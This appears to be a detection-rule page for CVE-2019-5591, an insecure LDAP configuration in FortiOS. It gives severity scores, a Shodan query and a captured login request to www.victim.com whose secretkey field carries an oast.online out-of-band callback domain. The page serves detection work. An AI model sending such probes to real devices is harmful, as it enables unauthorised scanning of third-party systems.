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CVE-2019-5591: FortiOS - Insecure LDAP Configuration Detection

TitleFortiOS - Insecure LDAP Configuration Detection
Authorayewo
SeverityMedium
ImpactUnauthenticated attackers can intercept sensitive information by impersonating LDAP servers within the same subnet.
RemediationConfigure LDAP server settings properly and disable default configurations; update to the latest firmware version.
CVSS Score6.5
EPSS Score0.49178
CVE IDCVE-2019-5591
Shodan Querycpe:"cpe:2.3:o:fortinet:fortios"
Tags []

🔍 Vulnerability Description

The FortiGate LDAP configuration was detected to be insecure due to missing ca-cert, secure LDAPS, or server-identity-check, potentially exposing LDAP communications to credential interception or man-in-the-middle attacks under specific network conditions.

🌐 HTTP Request

GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /logincheck HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 78
Content-Type: text/plain;charset=UTF-8
Accept-Encoding: gzip

ajax=1&username=lDklXO&secretkey=d5jpi0ple0o1gn797710msrznnwa9tx16.oast.online

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5591.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-5591.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A